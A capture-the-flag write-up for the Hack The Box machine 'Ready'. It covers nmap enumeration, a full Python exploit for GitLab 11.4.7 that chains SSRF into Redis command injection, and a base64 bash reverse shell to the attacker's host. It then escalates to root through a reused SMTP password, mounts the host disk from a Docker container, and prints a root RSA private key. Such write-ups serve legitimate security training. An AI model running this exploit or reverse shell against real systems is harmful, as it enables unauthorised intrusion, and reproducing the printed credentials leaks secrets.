HTB WriteUps
  • â„šī¸Main Page
  • 👨‍đŸ’ģwhoami
  • Linux Machines
    • Lame
    • Shocker
    • Beep
    • Jarvis
    • Europa
    • Knife
    • Irked
    • Postman
    • Mango
    • Cap
    • Writer
    • Bashed
    • Nibbles
    • Valentine
    • SwagShop
    • Tabby
    • SolidState
    • Doctor
    • OpenAdmin
    • Haircut
    • Blocky
    • Time
    • Passage
    • Mirai
    • Popcorn
    • Magic
    • Delivery
    • Blunder
    • BountyHounter
    • Cronos
    • TartarSauce
    • Ophiuchi
    • Seal
    • Ready
    • Admirer
    • Traverxec
    • Nineveh
    • FriendZone
    • Frolic
    • SneakyMailer
    • Brainfuck
    • Jewel
    • Node
    • Networked
    • Joker
    • RedCross
    • Static
    • Zetta
    • Kotarak
    • Falafel
    • DevOops
    • Hawk
    • Lightweight
    • LaCasaDePapel
    • Jail
    • Safe
    • Bitlab
    • October
    • Book
    • Quick
    • Sink
    • Pit
    • Monitors
    • Unobtainium
    • Inception
    • Compromised
    • CrimeStoppers
    • OneTwoSeven
    • Oz
    • Ellingson
    • Holiday
    • FluJab
    • Spider
    • CTF
  • Windows Machines
    • Jerry
    • Love
    • Arctic
    • Forest
    • Fuse
    • Bastard
    • Silo
    • Devel
    • Remote
    • ServMon
    • Blue
    • Grandpa
    • Legacy
    • SecNotes
    • Omni
    • Active
    • Granny
    • Optimum
    • Worker
    • Bastion
    • Bounty
    • Buff
    • Breadcrums
    • Reel
    • Reel2
    • Conceal
    • Bankrobber
    • Jeeves
    • Bart
    • Tally
    • Netmon
    • Sizzle
    • Sniper
    • Control
    • Nest
    • Sauna
    • Cascade
    • Querier
    • Blackfield
    • APT
    • Atom
  • OTHER OS MACHINES
    • Sense
    • Luanne
    • Poison
    • Schooled
Powered by GitBook
On this page
  • Enumeration
  • Exploitation
  • Privilege Escalation

Was this helpful?

  1. Linux Machines

Ready

Last updated 2 years ago

Was this helpful?

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.220 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

# Nmap 7.92 scan initiated Tue Jul  5 20:52:22 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.220
Nmap scan report for 10.10.10.220
Host is up (0.058s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
5080/tcp open  onscreen

# Nmap done at Tue Jul  5 20:52:36 2022 -- 1 IP address (1 host up) scanned in 13.26 seconds

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p22,5080 10.10.10.220 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

# Nmap 7.92 scan initiated Tue Jul  5 20:31:28 2022 as: nmap -sCV -p22,5080 -oN targeted 10.10.10.220
Nmap scan report for 10.10.10.220
Host is up (0.061s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open  http    nginx
|_http-title: GitLab is not responding (502)
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile 
| /dashboard /projects/new /groups/new /groups/*/edit /users /help 
|_/s/ /snippets/new /snippets/*/edit
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul  5 20:31:46 2022 -- 1 IP address (1 host up) scanned in 17.80 seconds

If we take a look at the nginx server on port 5080, we'll see a GitLab server.

Let's create a new user from the Register section.

Once we are logged in, we could see the GitLab version from the Help page.

It is the GitLab 11.4.7 version.

Exploitation

#!/usr/bin/python3

import requests
import signal
import re
from random import randint
import urllib.parse
import base64
import sys
import os
import threading

def def_handler(sig, frame):
    print("[!] Quiting...")
    sys.exit(1)
    
#Ctrl+C
signal.signal(signal.SIGINT, def_handler)

username = "alfa8sa"
password = "alfa8sa123"
gitlab_url = "http://10.10.10.220:5080"
login_url = "/users/sign_in"
new_project_url = "/projects/new"
lhost = "10.10.14.15"
lport = "4444"
proxies = { "http": "http://localhost:8080" }

def makeRequest():
    s = requests.Session()

    r = s.get(gitlab_url)
    authenticity_token = re.findall("authenticity_token\" value=\"(.+?)\"",r.text)[1]
    
    login_data = {
        'utf8': 'Ãĸ',
        'authenticity_token': authenticity_token,
        'user[login]': username,
        'user[password]': password,
        'user[remember_me]': 0
    }

    r = s.post(gitlab_url + login_url, data=login_data)
    r = s.get(gitlab_url + new_project_url)
    
    project_name = "project" + str(randint(1000,9999))
    namespace_id = re.findall("value=\"(.+?)\" type=\"hidden\" name=\"project\[namespace_id\]\"",r.text)[1]
    project_token = urllib.parse.quote_plus(re.findall("meta name=\"csrf-token\" content=\"(.+?)\"",r.text)[0])
    project_url = urllib.parse.quote_plus("git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git")
    nc_payload = f'bash -c "bash  -i >& /dev/tcp/{lhost}/{lport} 0>&1"'
    nc_payload_string_bytes = nc_payload.encode("ascii")
    nc_payload_bytes = base64.b64encode(nc_payload_string_bytes)
    nc_payload_string = nc_payload_bytes.decode("ascii")
    #nc_payload_string = "YmFzaCAtYyAiYmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTUvNjY2NiAwPiYxIgo="
    rce = """\n multi
 sadd resque:gitlab:queues system_hook_push
 lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|echo """ + nc_payload_string + """ | base64 -d | bash \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}"
 exec
 exec
 exec\n"""

    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate',
        'Referer': f'{gitlab_url}/projects',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '398',
        'Connection': 'close',
        'Upgrade-Insecure-Requests': '1',
    }
    payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bimport_url%5D={project_url}{rce}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bnamespace_id%5D={namespace_id}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0"

    r = s.post(gitlab_url + "/projects", data=payload, headers=headers, verify=False, proxies=proxies)
    
    
if __name__ == '__main__':
    try:
        threading.Thread(target=makeRequest, args=()).start()
    except Exception as e:
        log.error(str(e))

    os.system("/usr/bin/nc -lvnp " + lport)

If we execute the exploit, we'll get a reverse shell as the git user, and we'll be able to grab the user flag.

python exploit.py

listening on [any] 4444 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.220] 60468
bash: cannot set terminal process group (519): Inappropriate ioctl for device
bash: no job control in this shell
git@gitlab:~/gitlab-rails/working$ whoami
whoami
git
git@gitlab:~/gitlab-rails/working$ cat /home/dude/user.txt
cat /home/dude/user.txt
75e97402c7732a79365dcb22de8ad416

Privilege Escalation

First, let's set an interactive TTY shell.

script /dev/null -c /bin/bash

Then I press Ctrl+Z and execute the following command on my local machine:

stty raw -echo; fg

reset

Terminal type? xterm

Next, I export a few variables:

export TERM=xterm

export SHELL=bash

Finally, I run the following command in our local machine:

stty size

51 236

And set the proper dimensions in the victim machine:

stty rows 51 columns 236

If we check the IP address, we'll see that we are not in the Ready machine with the IP 10.10.10.220, instead we are probably in a docker container with the IP address 172.19.0.2.

hostname -I

172.19.0.2

If we enumerate the machine, we'll find the /opt/backups directory with some files.

ls -l /opt/backups

total 100
-rw-r--r-- 1 root root   904 Apr  5 14:19 docker-compose.yml
-rw-r--r-- 1 root root 15150 Apr  5 14:18 gitlab-secrets.json
-rw-r--r-- 1 root root 81492 Apr  5 14:18 gitlab.rb

If we check the content of the gitlab.rb file, omitting all the comments, we'll see an SMTP password.

grep -v "^#" /opt/backup/gitlab.rb | xargs

gitlab_rails[smtp_password] = wW59U!ZKMbG9+*#h

Let's try to become root with that password.

su root

Password: wW59U!ZKMbG9+*#h
root@gitlab:/var/opt/gitlab/gitlab-rails/working# whoami
root
root@gitlab:/var/opt/gitlab/gitlab-rails/working# id
uid=0(root) gid=0(root) groups=0(root)

Now we are the root user of the docker container, not the real machine. But, we can't see the root flag yet. If we list the system disk devices, we'll see that the /dev/sda2 filesystem is mounted on /root_pass.

df -h

Filesystem      Size  Used Avail Use% Mounted on
overlay         9.3G  7.4G  1.8G  81% /
tmpfs            64M     0   64M   0% /dev
tmpfs           2.0G     0  2.0G   0% /sys/fs/cgroup
/dev/sda2       9.3G  7.4G  1.8G  81% /root_pass
shm              64M  340K   64M   1% /dev/shm

As we are root, we could try to mount that filesystem in a custom directory.

mkdir /tmp/sda2

mount /dev/sda2 /tmp/sda2/

If now we take a look at the /tmp/sda2 directory, we'll see the filesystem of the Ready machine.

ls -la /tmp/sda2/

total 100
drwxr-xr-x  20 root root  4096 Apr  5 16:16 .
drwxrwxrwt   1 root root  4096 Jul  6 16:41 ..
lrwxrwxrwx   1 root root     7 Apr 23  2020 bin -> usr/bin
drwxr-xr-x   3 root root  4096 Apr  5 12:32 boot
drwxr-xr-x   2 root root  4096 Apr  5 12:32 cdrom
drwxr-xr-x   5 root root  4096 Dec  4  2020 dev
drwxr-xr-x 102 root root  4096 Apr  5 16:12 etc
drwxr-xr-x   3 root root  4096 Jul  7  2020 home
lrwxrwxrwx   1 root root     7 Apr 23  2020 lib -> usr/lib
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib32 -> usr/lib32
lrwxrwxrwx   1 root root     9 Apr 23  2020 lib64 -> usr/lib64
lrwxrwxrwx   1 root root    10 Apr 23  2020 libx32 -> usr/libx32
drwx------   2 root root 16384 May  7  2020 lost+found
drwxr-xr-x   2 root root  4096 Apr 23  2020 media
drwxr-xr-x   2 root root  4096 Apr  5 12:32 mnt
drwxr-xr-x   4 root root  4096 Apr  5 12:32 opt
drwxr-xr-x   2 root root  4096 Apr 15  2020 proc
drwx------  10 root root  4096 Apr  5 15:29 root
drwxr-xr-x  10 root root  4096 Apr 23  2020 run
lrwxrwxrwx   1 root root     8 Apr 23  2020 sbin -> usr/sbin
drwxr-xr-x   6 root root  4096 Apr  5 12:32 snap
drwxr-xr-x   2 root root  4096 Apr  5 12:32 srv
drwxr-xr-x   2 root root  4096 Apr 15  2020 sys
drwxrwxrwt  12 root root 12288 Jul  6 16:41 tmp
drwxr-xr-x  14 root root  4096 Apr  5 12:32 usr
drwxr-xr-x  14 root root  4096 Dec  4  2020 var

If we inspect the root directory, we'll see a id_rsa file under the .ssh directory.

cat /tmp/sda2/root/.ssh/id_rsa

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
sle1ivGnwAUrroNAK48LE70Io13DIfE9rxcotDviAIhbBOaqMLbLnfnnCNLApjCn
6KkYjWv+9kj9shzPaN1tNQLc2Rg39pn1mteyvUi2pBfA4ItE05F58WpCgh9KNMlf
YmlPwjeRaqARlkkCgFcHFGyVxd6Rh4ZHNFjABd8JIl+Yaq/pg7t4qPhsiFsMwntX
TBKGe8T4lzyboBNHOh5yUAI3a3Dx3MdoY+qXS/qatKS2Qgh0Ram2LLFxib9hR49W
rG87jLNt/6s06z+Mwf7d/oN8SmCiJx3xHgFzbwIDAQABAoIBACeFZC4uuSbtv011
YqHm9TqSH5BcKPLoMO5YVA/dhmz7xErbzfYg9fJUxXaIWyCIGAMpXoPlJ90GbGof
Ar6pDgw8+RtdFVwtB/BsSipN2PrU/2kcVApgsyfBtQNb0b85/5NRe9tizR/Axwkf
iUxK3bQOTVwdYQ3LHR6US96iNj/KNru1E8WXcsii5F7JiNG8CNgQx3dzve3Jzw5+
lg5bKkywJcG1r4CU/XV7CJH2SEUTmtoEp5LpiA2Bmx9A2ep4AwNr7bd2sBr6x4ab
VYYvjQlf79/ANRXUUxMTJ6w4ov572Sp41gA9bmwI/Er2uLTVQ4OEbpLoXDUDC1Cu
K4ku7QECgYEA5G3RqH9ptsouNmg2H5xGZbG5oSpyYhFVsDad2E4y1BIZSxMayMXL
g7vSV+D/almaACHJgSIrBjY8ZhGMd+kbloPJLRKA9ob8rfxzUvPEWAW81vNqBBi2
3hO044mOPeiqsHM/+RQOW240EszoYKXKqOxzq/SK4bpRtjHsidSJo4ECgYEA1jzy
n20X43ybDMrxFdVDbaA8eo+og6zUqx8IlL7czpMBfzg5NLlYcjRa6Li6Sy8KNbE8
kRznKWApgLnzTkvupk/oYSijSliLHifiVkrtEY0nAtlbGlgmbwnW15lwV+d3Ixi1
KNwMyG+HHZqChNkFtXiyoFaDdNeuoTeAyyfwzu8CgYAo4L40ORjh7Sx38A4/eeff
Kv7dKItvoUqETkHRA6105ghAtxqD82GIIYRy1YDft0kn3OQCh+rLIcmNOna4vq6B
MPQ/bKBHfcCaIiNBJP5uAhjZHpZKRWH0O/KTBXq++XQSP42jNUOceQw4kRLEuOab
dDT/ALQZ0Q3uXODHiZFYAQKBgBBPEXU7e88QhEkkBdhQpNJqmVAHMZ/cf1ALi76v
DOYY4MtLf2dZGLeQ7r66mUvx58gQlvjBB4Pp0x7+iNwUAbXdbWZADrYxKV4BUUSa
bZOheC/KVhoaTcq0KAu/nYLDlxkv31Kd9ccoXlPNmFP+pWWcK5TzIQy7Aos5S2+r
ubQ3AoGBAIvvz5yYJBFJshQbVNY4vp55uzRbKZmlJDvy79MaRHdz+eHry97WhPOv
aKvV8jR1G+70v4GVye79Kk7TL5uWFDFWzVPwVID9QCYJjuDlLBaFDnUOYFZW52gz
vJzok/kcmwcBlGfmRKxlS0O6n9dAiOLY46YdjyS8F8hNPOKX6rCd
-----END RSA PRIVATE KEY-----

Let's copy it to our local machine, and give it the right permissions.

nano id_rsa

chmod 600 id_rsa

Finally, if we SSH into the victim machine giving the id_rsa file, we'll get a shell as root. Then, all we have to do is reap the harvest and take the root flag.

ssh -i id_rsa root@10.10.10.220

Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 06 Jul 2022 04:45:52 PM UTC

  System load:                      0.0
  Usage of /:                       79.7% of 9.22GB
  Memory usage:                     71%
  Swap usage:                       0%
  Processes:                        330
  Users logged in:                  0
  IPv4 address for br-bcb73b090b3f: 172.19.0.1
  IPv4 address for docker0:         172.17.0.1
  IPv4 address for ens160:          10.10.10.220
  IPv6 address for ens160:          dead:beef::250:56ff:feb9:f522

  => There are 5 zombie processes.

 * Introducing self-healing high availability clusters in MicroK8s.
   Simple, hardened, Kubernetes for production, from RaspberryPi to DC.

     https://microk8s.io/high-availability

186 updates can be installed immediately.
89 of these updates are security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Tue Apr  5 16:15:21 2022
root@ready:~# whoami
root
root@ready:~# cat root.txt 
e97fcab555a940b9f5cda6b82be5814e

If you do some research on the internet, you'll find that this version of GitLab is vulnerable to a Remote Command Execution . I made my own exploit, which basically exploits a SSRF vulnerability when making a new project by importing a URL. Make sure to change the necessary variables to make the script work.

exploit